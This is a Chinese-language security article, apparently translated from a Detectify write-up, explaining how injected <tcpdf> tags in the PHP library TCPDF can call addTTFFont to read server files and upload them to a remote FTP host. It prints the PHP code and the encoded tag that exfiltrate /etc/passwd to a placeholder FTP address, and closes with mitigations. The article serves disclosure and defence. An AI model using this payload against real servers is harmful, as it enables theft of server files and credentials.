黑客利用PDF生成器竊取WEB服務器上的文件
TCPDF PDF生成器是當今最流行的用于創建PDF文檔的PHP庫之一,同時也是當今最熱門的開源項目之一。它每天擁有數百萬用戶使用量,其載體一般為CMS程序或者其他WEB應用。然而,黑客利用TCPDF的一個漏洞,可以輕松從WEB服務器上竊取文件。
漏洞利用場景
1、Alice是一個網店的老板,她會發給客戶一張PDF文檔作為收據,上面寫明了采購情況和買家信息。 2、這時,有個叫Chuck的攻擊者注意到,Alice忘了在寫入PDF文檔之前,給“客戶名字”這一欄的數據做安全過濾。 3、Chuck通過研究發現,他完全可以在PDF文檔里訂單的“客戶名字”一欄做文章,填入構造的惡意payload(攻擊負載)。在PDF文檔生成時會執行惡意腳本,從而在Alice的網店服務器上竊取文件。
攻擊流程
那么為什么會出現以上的場景呢?具體的細節是這樣的:
Chuck在“客戶名字”所填的這個惡意Payload,它試圖告訴Alice服務器的PDF生成器,希望在此處添加一個服務器本身所帶的字體,最后將這個字體文件傳到Chuck的FTP服務器上。
但是,PDF生成器在這里,并沒有對這個所謂的“字體”文件和這個文件將要發送的地址做任何檢查。通過這個漏洞,Chuck可以竊取服務器上PHP權限下任何可讀的文件。
理解TCPDF
為了設計一個TCPDF模式的PDF,方法有很多。最常見的辦法就是在里面創建一個簡單的HTML頁面,往TCPDF里面加入HTML代碼。常見的HTML標簽都會被解析,然后轉換為PDF格式。比如table、image,以及header。
不過,還有一個特殊標簽<tcpdf />默認也是被啟用了的。這是一個被TCPDF類調用方法的特殊標簽,該元素示例如下:
<tcpdf method="MethodFromTCPDFClass" params="EscapedParamData" />
如果這個HTML元素被傳遞給writeHTML,且這個TCPDF的方法“MethodFromTCPDFClass”有效,TCPDF會結合其他參數執行這個特殊方法。
換句話來說,如果一個用戶把沒有經過檢查的數據傳遞給writeHTML,用戶就可能偷偷調用運行TCPDF類的某種方法。TCPDF類的這些方法由此可能被黑客所利用。
利用字體加載的方法
TCPDF類有個方法名叫addTTFFont,文檔上說明:“它可以轉換字體,并將TrueType或者Type1的字體添加進字體包”。當然,這也可以被用于將服務器上的任意可讀文件進行壓縮,并發送到任意可寫的地址,自然這地址也可以是黑客的遠程服務器。
addTTFFont方法有著下述的關聯參數:
$fontfile--服務器上需要提取的任意可寫文件的路徑。 $fonttype--黑客需要設置的TrueType $outpath--文件輸出的地址,這里可以填一個黑客的FTP地址。
想要生成一個tcpdf元素,可以使用下面的代碼:
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));
生成結果如下:
<tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fpasswd%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fuser%3Apass%40host%5C%2F%22%5D"/>
如果我們能用TCPDF將代碼注入到一個生成的PDF文檔里,服務器在生成解析時,會攫取本機/etc/passwd的內容,并將其上傳到黑客的FTP服務器上。
TCPDF的安全
現在大家需要做的就是升級TCPDF到最新版本。當然咱們也不止這一個解決辦法。針對這個漏洞我們完全可以:
在php.ini里,將allow_url_fopen設為Off 在config/tcpdf_config.php里,將K_TCPDF_CALLS_IN_HTML設為false[參考來源 detectify ,由FreeBuf小編dawner翻譯整理,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)]